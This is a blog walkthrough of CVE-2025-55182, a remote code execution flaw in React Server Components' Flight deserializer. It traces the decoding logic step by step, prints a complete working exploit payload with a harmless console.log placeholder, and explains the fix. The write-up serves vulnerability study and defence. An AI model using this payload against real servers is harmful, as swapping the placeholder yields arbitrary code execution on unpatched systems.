Kavienan Jegatheesan
← Back to Blog

React2Shell: CVE-2025-55182 Walkthrough

December 10, 2025

SecurityCVE-2025-55182ReactJavaScriptVulnerability Research
React2Shell: CVE-2025-55182 Walkthrough

This post is adapted from my write-up on GitHub at github.com/kavienanj/CVE-2025-55182. The vulnerability itself was discovered by lachlan2k, who responsibly disclosed it to the React team, and for ongoing updates you can visit react2shell.com.

Table of Contents

  1. Introduction
  2. Background
  3. Understanding ReactFlightReplyServer.js
  4. Crafting the First Payload
  5. The Fake Chunk
  6. All Under Control
  7. The Exploit
  8. The Fix

Introduction

🚨 CVE-2025-55182 is rated 10.0/10.0 in severity. If you’ve looked at the public PoCs, you may have noticed that while they show the exploit working, the explanations for why the payload looks the way it does can feel insufficient—which makes perfect sense given how complicated the React Flight Protocol is. Flight, the serialization layer behind React Server Components and Server Actions, is an intricate 1,100+ line state machine, and its behavior isn’t intuitive unless you trace the code yourself.

The community PoCs demonstrate the vulnerability clearly:

…but when you try to answer “Why does this work?”, you quickly find yourself spelunking deep into React internals that were never meant to be read line by line.

📝 Note: Many PoCs incorrectly attribute the fix to changes in requireModule. As we’ll see in The Fix, the exploit payload never reaches that function—the actual vulnerable code resides entirely in ReactFlightReplyServer.js.

This write-up is my attempt to reverse-engineer the exploit chain by tracing React’s decoding and chunk-initialization logic step by step. Every behavior discussed here comes directly from how ReactFlightReplyServer.js worked before the fix (reference: https://github.com/facebook/react/blob/v19.2.0/packages/react-server/src/ReactFlightReplyServer.js), distilled and simplified so that a React/JS developer can follow along with enough patience.


Background

Before looking at the vulnerability, we need three tiny concepts to tackle.

1. How Flight Chunks Decode (Very Simple View)

React sends data to the server in numbered chunks. Some chunks reference others using strings that start with $.

Example:

const files = {
  "0": '["$1"]',
  "1": '{"object":"fruit","name":"$2:fruitName"}',
  "2": '{"fruitName":"cherry"}',
};

When React decodes this:

  • $1 → chunk 1
  • $2:fruitName → chunk 2’s fruitName property

Reconstructed result:

[{ object: "fruit", name: "cherry" }]

That’s all we need. $ means “go look up another chunk and insert its value here.”

2. Any Object With .then() Can Be await-ed

JavaScript treats anything with a .then() method like a Promise.

Try this:

const obj = {
  then(resolve, reject) {
    resolve("called automatically");
  }
};

await obj; // prints "called automatically"

No Promise needed — the presence of .then() is enough.

3. Reaching the Function Constructor Is Trivially Easy

JavaScript’s Function constructor can execute arbitrary code:

Function("alert('hi')")();

And almost any object can reach it by chaining constructor:

({}).constructor.constructor("alert('hi')")();

So if a program allows the user to access an object’s internal properties and that path reaches the Function constructor, it becomes a serious vulnerability. And if there exists a method that then invokes the constructor with user-controlled input, it becomes a critical vulnerability (severity 10).

That is exactly what CVE-2025-55182 was.


Understanding ReactFlightReplyServer.js

Before crafting a malicious payload, we have to understand the React source code a bit (maybe the boring part, but I did that for you so you don’t have to!).

Here are some important pieces from react-server/src/ReactFlightReplyServer.js (pre-fix version) that we need to know.

⚠️ Disclaimer

This is my best effort to simplify ~1,100 lines of React’s Flight code—many function arguments, branches, and special cases are intentionally dropped or rewritten for clarity. Only the parts needed to understand the vulnerability are kept.

1. Response

This is the main “context” object passed around:

type Response = {
  _formData: FormData,                 // raw incoming chunks as strings
  _chunks: Map<number, SomeChunk<any>> // parsed "chunk objects"
};

2. Chunk States and the Chunk “Class”

React wraps each piece of data in a custom Chunk object that behaves like a Promise (thenable):

function Chunk(status, value, reason, response) {
  this.status = status;
  this.value = value;
  this.reason = reason;
  this._response = response; // The response context
}

Chunk.prototype = Object.create(Promise.prototype);

// Custom .then implementation
Chunk.prototype.then = function (resolve, reject) {
  const chunk = this;

  // If it's just holding a JSON string, initialize it first
  if (chunk.status === "resolved_model") {
    initializeModelChunk(chunk);
  }

  // Resolve immediately if status is initialized
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    // other states...
  }
};

status describes where it is in the lifecycle:

  • RESOLVED_MODEL = "resolved_model" → has JSON string, not parsed yet
  • INITIALIZED = "fulfilled" → fully decoded JS value

For simplicity, we will just focus on these 2 states even though there are other states.

3. getChunk and getRoot

  • getChunk(response, id) returns the Chunk at index id (creating it if needed).
  • getRoot(response) is basically the same as getChunk(response, 0) (root chunk is id 0).

4. initializeModelChunk(chunk)

This is the critical function. It turns a RESOLVED_MODEL chunk (string) into a real JS value.

function initializeModelChunk(chunk) {
  try {
    // 1. Parse the JSON string
    const rawModel = JSON.parse(chunk.value /* original string */);

    // 2. Recursively walk the tree and replace $-strings with real values
    const value = reviveModel(chunk, rawModel);

    // 3. If everything is fine, mark as "fulfilled" with final JS value
    chunk.status = "fulfilled";
    chunk.value = value;
  } catch (error) {
    // (error handling omitted for simplicity)
  }
}

5. reviveModel

Here we try to parse string values found in the raw JSON and unpack the special $-encoded values recursively.

High-level view (simplified):

function reviveModel(chunk, value) {
  if (typeof value === "string") {
    // If it's a string, it might be a special $-encoded value

    if (value[0] !== "$") return value; // normal string

    // Else, handle references
    switch (value[1]) {
      case "@": {
        // IMPORTANT SECTION 1
        // "$@id" → promise-like Chunk
        const id = parseInt(value.slice(2), 16);
        const refChunk = getChunk(chunk._response, id);
        return refChunk;
      }

      case "B": {
        // IMPORTANT SECTION 2
        const id = parseInt(value.slice(2), 16);
        const prefix = chunk._response._prefix;
        const blobKey = prefix + id;
        const backingEntry = chunk._response._formData.get(blobKey);
        return backingEntry;
      }

      // A lot of other cases for more functionalities...

      default: {
        // Anything else → treat as a reference id/path, e.g. "1", "2:fruitName", "1:then"
        const ref = value.slice(1);
        return getOutlinedModel(chunk, ref);
      }
    }
  }

  if (Array.isArray(value)) {
    // Recursively revive each element
    for (let i = 0; i < value.length; i++) {
      value[i] = reviveModel(chunk, value[i]);
    }
  } else if (value && typeof value === "object") {
    // Recursively revive each property on the object
    for (const key in value) {
      value[key] = reviveModel(chunk, value[key]);
    }
  }

  // For numbers, booleans, null, etc., just return as-is
  return value;
}

6. getOutlinedModel

This function takes a reference string like "1", "2:fruitName", or "1:then" and actually resolves it.

Simplified view:

function getOutlinedModel(currentChunk, reference) {
  const path = reference.split(":");          // "2:fruitName" -> ["2", "fruitName"]
  const id = parseInt(path[0], 16);          // first part is chunk id (hex)
  const targetChunk = getChunk(currentChunk._response, id); // get that chunk

  if (targetChunk.status === "resolved_model") {
    initializeModelChunk(targetChunk);       // parse it if it's still just JSON
  }

  if (targetChunk.status === "fulfilled") {
    // IMPORTANT SECTION 3
    // Walk through the remaining path keys
    let value = targetChunk.value;
    for (let i = 1; i < path.length; i++) {
      value = value[path[i]];                // e.g. value = value["then"]
    }

    return value;                            // usually just returns value
  }
}

Summary: Execution Order

Here’s how chunks flow through React’s decoding pipeline:

  1. Entry Point: getRoot(response) is called, which internally calls getChunk(response, 0) to retrieve the root chunk (id 0).

  2. Chunk Retrieval: The returned Chunk object initially has status: "resolved_model", meaning it holds raw JSON that hasn’t been parsed yet.

  3. Awaiting the Chunk: When the chunk is await-ed, JavaScript calls Chunk.prototype.then() because the chunk is a thenable.

  4. Initialization: Inside .then(), if the chunk’s status is "resolved_model", it calls initializeModelChunk(chunk) to parse it.

  5. JSON Parsing: initializeModelChunk() first runs JSON.parse() on the raw string to get a JavaScript object.

  6. Reviving References: It then calls reviveModel() to recursively walk through the parsed object and replace all $-prefixed strings with their actual values:

    • "$@id" → Returns the Chunk object directly (for async/promise references)
    • "$Bid" → Returns a blob/file from FormData
    • "$id" or "$id:path" → Calls getOutlinedModel() to resolve the reference
  7. Path Resolution: In getOutlinedModel(), if the reference includes a path (e.g., "2:fruitName"), it walks through each key: value = value[path[i]].

  8. Finalization: Once reviveModel() completes, the chunk’s status is set to "fulfilled" and its value becomes the fully decoded JavaScript object.


Crafting the First Payload

Now we can try crafting our payload. We only rely on two very simple weaknesses we saw earlier. The first is that React lets the client control which property it looks up during deserialization. When the payload contains something like "$1:property1:property2", React splits on : and eventually executes: (IMPORTANT SECTION 3)

value = value[path[i]]; // value = value['property1']['property2']

Since path[i] comes entirely from the user-controlled $ string, the attacker chooses exactly which property React reads.

Let’s plug our payload #1 and walk the execution.

const files = {
  "0": '{"then":"$1:constructor:constructor"}',
  "1": '[]',
};

The deserialization usually starts like this:

const chunk = getChunk(response, 0);
await chunk; // or chunk.then(...)

Assume React has already filled:

response._formData.set("0", files["0"]);
response._formData.set("1", files["1"]);

Execution Flow for Payload #1

1. Getting the Root Chunk

const chunk0 = getChunk(response, 0);

Inside getChunk:

  • _chunks doesn’t have 0 yet
  • _formData.get("0") returns '{"then":"$1:constructor:constructor"}'

So React creates:

chunk0 = new Chunk("resolved_model", '{"then":"$1:constructor:constructor"}', 0, response);

and stores it in response._chunks.

Now we do:

await chunk0;

This triggers Chunk.then.

2. Chunk.then Calls initializeModelChunk(chunk0)

Inside .then:

if (chunk0.status === "resolved_model") {
  initializeModelChunk(chunk0);
}

So we enter:

initializeModelChunk(chunk0);

3. initializeModelChunk(chunk0) Parses and Revives

Inside initializeModelChunk:

const rawModel = JSON.parse(chunk0.value);
// rawModel = { then: "$1:constructor:constructor" }

const value = reviveModel(chunk0, rawModel);

So now we’re in:

reviveModel(chunk0, { then: "$1:constructor:constructor" });

reviveModel sees an object, so it walks its properties:

  • key "then" → value "$1:constructor:constructor"

For that string, we hit the $ logic:

if (typeof value === "string") {
  if (value[0] !== "$") return value;

  // value = "$1:constructor:constructor"
  const ref = value.slice(1); // "1:constructor:constructor"
  return getOutlinedModel(chunk0, ref);
}

4. getOutlinedModel(chunk0, "1:constructor:constructor")

We’re now resolving the reference "1:constructor:constructor":

const path = ["1", "constructor", "constructor"];
const id = parseInt(path[0], 16); // 1
const targetChunk = getChunk(chunk0._response, 1);
4.1 getChunk for id 1

getChunk(response, 1):

  • _chunks doesn’t have 1 yet
  • _formData.get("1") returns '[]'

So React creates:

targetChunk = new Chunk("resolved_model", "[]", 1, response);

Back in getOutlinedModel:

if (targetChunk.status === "resolved_model") {
  initializeModelChunk(targetChunk);
}

If a chunk doesn’t have any special chars in the value, the initializeModelChunk will JSON parse the chunk.value and mark status as "fulfilled".

const rawModel = JSON.parse(targetChunk.value); // rawModel = []
const value = reviveModel(targetChunk, rawModel); // still value = [], no effect

targetChunk.status = "fulfilled";
targetChunk.value = [];

Now targetChunk (chunk 1) is fully initialized as [].

5. Back to getOutlinedModel – Walking the Path

We return to:

if (targetChunk.status === "fulfilled") {
  let value = targetChunk.value; // value = []

  for (let i = 1; i < path.length; i++) {
    value = value[path[i]];
  }
}

The loop:

// path = ["1", "constructor", "constructor"]

let value = [];                    // chunk1.value

value = value["constructor"];      // step 1
value = value["constructor"];      // step 2

In most JS engines, this walks to:

value === Function; // the global Function constructor

So getOutlinedModel returns:

return Function;

This becomes the revived value for the "then" property.

6. Finishing reviveModel for chunk0

Back in reviveModel(chunk0, { then: ... }), the object becomes:

{ then: Function }

So initializeModelChunk(chunk0) sets:

chunk0.status = "fulfilled";
chunk0.value = { then: Function };

Then it returns control to .then, which now calls:

resolve(chunk0.value); // resolve({ then: Function });

So:

const result = await chunk0;
// result = await { then: Function }

This throws a syntax error because await sees a .then property and tries to call it like a Promise, which becomes:

Function(resolve, reject);

and that is invalid JavaScript source.

💡 You can open your browser console and run await { then: Function } to see it yourself.


The Fake Chunk

To avoid this error, we need to plant an actual thenable in place of the then key.

But $1 references usually decode into plain JSON values — objects, arrays, strings — nothing that has a usable .then function in their internal properties.

We need something that is already thenable. in place of $1, so that it will contain a "then" function.

We know that Chunks are thenable by definition, but $1 only gives us chunk 1’s value, not the Chunk instance itself. What we actually need is the Chunk object, not its decoded value.

Is it possible to get the Chunk instance itself?

YES — there is a special escape hatch in the Flight protocol: the @ prefix.

From IMPORTANT SECTION 1:

"$@x" → returns the Chunk instance at index x

So an intuitive next attempt might be:

const files = {
  "0": '{"then":"$@1:then"}',
  "1": '[]',
};

But this doesn’t work the way we want.

"$@1:then" is not interpreted as “get Chunk 1 and then walk its properties.”

The @ case returns directly the Chunk instance, and the :then part is ignored entirely in this form.

So the revived object becomes:

{ then: chunk1 }

And:

const result = await chunk0;
// result = { then: chunk1 }

Because chunk1 is not a function, await does not call it, so it behaves like a normal property. (You can verify this result by walking through the execution like we did in the last section.)


The real trick is to move the @ operator into chunk 1 so that chunk 1 returns a Chunk instance (a thenable), and then chunk 0 references chunk 1 normally using $1.

Now we can use $1 safely, because $1 gives us whatever chunk 1 evaluates to — and that is a Chunk object, not a JSON value.

The payload #2 becomes:

const files = {
  "0": '{"then":"$1:then"}',
  "1": '"$@0"',
};

Execution Flow for the Payload #2

1. Root Chunk Created

const chunk0 = getChunk(response, 0);
  • _formData.get("0") → '{"then":"$1:then"}'

So React creates:

chunk0 = new Chunk("resolved_model",
  '{"then":"$1:then"}',
  0,
  response
);

await chunk0 calls Chunk.then, which sees resolved_model and calls:

initializeModelChunk(chunk0);

2. Initialize Chunk 0

const rawModel = JSON.parse(chunk0.value);
// { then: "$1:then" }

const value = reviveModel(chunk0, rawModel);

reviveModel sees the "then" property with value "$1:then":

// string starting with "$"
const ref = "1:then";
return getOutlinedModel(chunk0, ref);

3. getOutlinedModel(chunk0, "1:then")

const path = ["1", "then"];
const id = parseInt("1", 16);      // 1
const targetChunk = getChunk(response, 1);

4. Create and Initialize Chunk 1

getChunk(response, 1):

  • _formData.get("1") → "\"$@0\"" (the JSON string "$@0")

So:

targetChunk = new Chunk("resolved_model", '"$@0"', 1, response);

Back in getOutlinedModel, since targetChunk.status === "resolved_model":

initializeModelChunk(targetChunk);

Inside initializeModelChunk(targetChunk):

const rawModel = JSON.parse(targetChunk.value);
// rawModel = "$@0"

const value = reviveModel(targetChunk, "$@0");

reviveModel sees "$@0":

// value[0] === '$', value[1] === '@'
const id = parseInt("0", 16);      // 0
const refChunk = getChunk(response, 0); // this is chunk0
return refChunk;

So chunk 1 becomes:

targetChunk.status = "fulfilled";
targetChunk.value = chunk0;        // IMPORTANT: value is the chunk0 instance

5. Back to getOutlinedModel Path Walk

Now targetChunk.status === "fulfilled":

let value = targetChunk.value;     // value = chunk0

value = value["then"];             // → Chunk.then

So:

return value;  // Chunk.then

This comes back to reviveModel as the resolved "then" property.

6. Finish Initializing Chunk 0

reviveModel(chunk0, rawModel) returns:

{ then: Chunk.then }

So:

chunk0.status = "fulfilled";
chunk0.value  = { then: Chunk.then };

Chunk.then for chunk0 then does:

resolve(chunk0.value); // resolve({ then: Chunk.then });

7. The Thenable Trick

Now await chunk0 sees a resolved value with a callable .then:

await { then: Chunk.then };

The above line is equivalent to:

Chunk.then.call(
  { then: Chunk.then },  // `this` property
  resolve,
  reject
);

Inside your simplified Chunk.then:

Chunk.then = function (resolve, reject) {
  const chunk = this; // <-- now this is our fake object, { then: Chunk.then }

  if (chunk.status === "resolved_model") {
    initializeModelChunk(chunk);
  }

  // …
};

This is what PoCs refer to as the Fake Chunk. Since the actual chunk finished processing but the chunk still continues to execute due to the way we crafted the payload. At this point, since chunk.status is undefined, so the switch doesn’t match any case and calls reject(chunk.reason), given an error.


🎯 Checkpoint: Attacker-Controlled this

Right now we’ve reached a very important checkpoint:

this (i.e. chunk) is now completely attacker-controlled.

It’s just { then: Chunk.then } for now, but in a real payload you can give it any fields you want:

  • chunk.status
  • chunk.value
  • chunk._response
  • Etc.

All Under Control

To go inside the function initializeModelChunk let’s set a property status to "resolved_model", and a reason property to a number like 0 (this is a normal Chunk field, but doesn’t really affect our logic here).

Conceptually, our payload for chunk 0 looks like this:

// Formatted for clarity
const files = {
  "0": json.dumps(`{
    "then": "$1:then",
    "status": "resolved_model",
    "reason": 0
  }`),
  "1": '"$@0"',
};

Adding these extra attributes doesn’t change the flow we already saw. So, inside Chunk.prototype.then, we now effectively have:

Chunk.prototype.then = function (resolve, reject) {
  const chunk = { then: Chunk.prototype.then, status: "resolved_model", reason: 0 };

  if (chunk.status === "resolved_model") {
    initializeModelChunk(chunk); // called with our fake chunk
  }

  // …
};

We’ve achieved our goal: initializeModelChunk is now running against a fake “chunk” object that we control.

What Do We Need Next?

Look at our simplified initializeModelChunk:

function initializeModelChunk(chunk) {
  try {
    const rawModel = JSON.parse(chunk.value);   // uses chunk.value
    const value = reviveModel(chunk, rawModel); // uses chunk + chunk._response
    chunk.status = "fulfilled";
    chunk.value = value;
  } catch (error) {
    // ...
  }
}

So as of now:

  • chunk.value is undefined → JSON.parse(undefined) will throw immediately.
  • chunk._response is also missing, so reviveModel wouldn’t work even if parse succeeded.

So the next attributes we need to add are:

  • value – a JSON string we fully control (this is what JSON.parse will parse and what reviveModel will walk).
  • _response – a fake Response object with at least:
    • _formData (to supply attacker-controlled backing data),
    • _chunks (a Map we can control).

Finding the Code Execution Vector

Remember we discussed the Function constructor at the beginning. Now let’s look inside reviveModel and see if any argument we control gets passed into a function in a useful way.

Eureka. Look at Important Section 2 (the $B case):

case "B": {
  const id = parseInt(value.slice(2), 16);
  const prefix = chunk._response._prefix;
  const blobKey = prefix + id;
  const backingEntry = chunk._response._formData.get(blobKey);
  return backingEntry;
}

Now that we control chunk._response, and id will resolve to some integer, this becomes very interesting. If we set _prefix to a JavaScript payload and _formData.get to the Function constructor, then:

chunk._response = {
  _prefix: "console.log('Hacked!');//",
  _formData: { get: Function }
};

When the $B case runs:

const blobKey = prefix + id;           // e.g. "console.log('Hacked!');//0"
const backingEntry = chunk._response._formData.get(blobKey);
// backingEntry = Function("console.log('Hacked!');//0");
return backingEntry;

So the $B… reference returns a constructed function from reviveModel.

Accessing the Function Constructor

We also know that the constructor of normal functions is Function, and React lets us walk property paths. For example, using a reference like "$1:then:constructor" lets us access:

value = chunk1.value.then.constructor; // → Function

Putting It All Together

Putting this together, our fake chunk payload can look like this:

const files = {
  "0": json.dumps(`{
    "then": "$1:then",
    "status": "resolved_model",
    "reason": 0,
    "_response": {
      "_prefix": "console.log('Hacked!');//",
      "_formData": {
        "get": "$1:then:constructor"
      }
    },
    "value": ???
  }`),
  "1": '"$@0"'
};

We still need to figure out what to put in value — the JSON string that will be parsed and walked by reviveModel. This will trigger the $B case and complete our exploit chain.


The Exploit

The last missing piece is to decide what value should be. From everything we’ve seen so far, it must:

  1. Contain $B... so that we enter the Blob (B) case inside reviveModel.
  2. Stay as-is inside the fake chunk until JSON.parse runs (i.e. not be transformed earlier as a $ reference).
  3. Eventually become a thenable whose then is the constructed function from $B..., so that await will call it.

This candidate satisfies all three:

"value": "{\"then\":\"$B0\"}"

Here’s What Happens

Step 1: Initial Parsing

At first, value is just a normal string (it doesn’t start with $), so reviveModel returns it unchanged.

Step 2: JSON.parse on the Fake Chunk

When our fake chunk goes through initializeModelChunk, React calls:

const rawModel = JSON.parse(chunk.value);
// rawModel = { then: "$B0" }

Step 3: reviveModel Processes the $B Reference

Now reviveModel runs on { then: "$B0" }:

  • It sees "$B0", enters the B case, computes blobKey = prefix + 0, and calls _formData.get(blobKey).

With our fake _response, that becomes:

backingEntry = Function("console.log('Hacked!');//0");

So the revived object becomes:

{ then: Function("console.log('Hacked!');//0") }

Step 4: Fake Chunk Finalization

When initializeModelChunk finishes, the fake chunk is:

chunk.status = "fulfilled";
chunk.value  = { then: Function("console.log('Hacked!');//0") };

Step 5: Awaiting the Thenable

Then, when this fake chunk is resolved and awaited, we eventually end up with:

await { then: Function("console.log('Hacked!');//0"), /* other props */ };

JavaScript sees a thenable (an object with a callable then) and automatically calls:

Function("console.log('Hacked!');//0")(resolve, reject);

💀 Game Over

At this point, game over: the code you passed (console.log('Hacked!');) is executed inside the generated function with no syntax error, and the attacker has arbitrary code execution.


Final Payload

Here’s the complete exploit payload:

const files = {
  "0": json.dumps(`{
    "then": "$1:then",
    "status": "resolved_model",
    "reason": 0,
    "_response": {
      "_prefix": "console.log('Hacked!');//",
      "_formData": {
        "get": "$1:then:constructor"
      }
    },
    "value": '{"then":"$B0"}'
  }`),
  "1": '"$@0"'
};

This vulnerability (CVE-2025-55182) demonstrates how a complex serialization protocol like React Flight can be exploited when:

  1. User-controlled property paths allow traversal to dangerous objects like Function.constructor
  2. Thenable objects can be crafted to trick JavaScript’s await into calling attacker-controlled functions
  3. Circular references ($@0) enable self-referential payloads that bypass normal deserialization flows

The fix involves proper validation of property paths and preventing access to prototype chain properties during deserialization.


The Fix

Now that we understand how the exploit works, let’s look at how React fixed it. Interestingly, most public PoCs focus on a fix in requireModule, but that’s not where this payload actually gets blocked. The real fixes are in ReactFlightReplyServer.js itself.

The Two Core Problems

Looking back at the exploit chain, there were two fundamental issues:

Problem 1: Unrestricted Property Access

In getOutlinedModel, React blindly walked through user-controlled property paths:

// VULNERABLE CODE
for (let i = 1; i < path.length; i++) {
  value = value[path[i]]; // No validation!
}

This allowed attackers to traverse the prototype chain using paths like "$1:constructor:constructor" to reach the Function constructor.

Problem 2: _response Was Part of the Chunk Object

The Chunk object included a _response property that held the entire response context:

// VULNERABLE STRUCTURE
function Chunk(status, value, reason, response) {
  this.status = status;
  this.value = value;
  this.reason = reason;
  this._response = response; // Attacker could fake this!
}

Since our fake chunk payload could include a crafted _response, we controlled:

  • _response._prefix → became part of the code string
  • _response._formData.get → became the Function constructor

This gave us full control over what code got executed.

The Actual Fixes

Fix 1: Property Existence Check in getOutlinedModel

The fix adds a hasOwnProperty check before accessing any property:

// FIXED CODE
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
  value = value[name];
}

This is critical because:

  • hasOwnProperty.call(value, "constructor") returns false for arrays and most objects
  • The constructor property exists on the prototype, not the object itself
  • Attackers can no longer traverse up the prototype chain

Before: [].constructor.constructor → Function ✓ (exploit works) After: hasOwnProperty.call([], "constructor") → false ✗ (blocked)

Fix 2: Removing _response from the Chunk Object

React restructured how chunks work:

  • The Chunk class was renamed to ReactPromise
  • The _response property was removed entirely
  • The response context is now passed separately, not stored on the chunk

Without _response on the chunk object, even if an attacker crafts a fake chunk, they can’t inject:

  • A fake _prefix for code injection
  • A fake _formData.get pointing to Function

The $B code path that previously allowed us to construct arbitrary functions now has no way to receive attacker-controlled context.

What About the requireModule Fix?

You may have seen this fix mentioned in PoCs:

// In requireModule
export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+   return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}

While this is a valid security improvement, our exploit payload never reaches requireModule. The requireModule function is used for loading client-side module references, which is a different code path entirely.

The CVE-2025-55182 exploit chain is fully contained within:

  1. getOutlinedModel — where property traversal happens
  2. reviveModel — where the $B case constructs the function
  3. The Chunk object structure — which exposed _response

For the complete implementation details, see the fix commit in the React repository.


👋 Closing Thoughts

This is a long walkthrough, and that’s by design. If you’re a beginner, don’t worry about absorbing it all on the first pass. Read through it top to bottom, and if something doesn’t click, go through it again. Once it clicks, you’ll walk away with a real feel for how deserialization vulnerabilities take shape: how a protocol’s own conveniences (references, thenables, property paths) can be turned against it, and why “it parses cleanly” is never the same as “it’s safe to trust.”

If you found this useful, consider leaving a ⭐ star on the GitHub repository.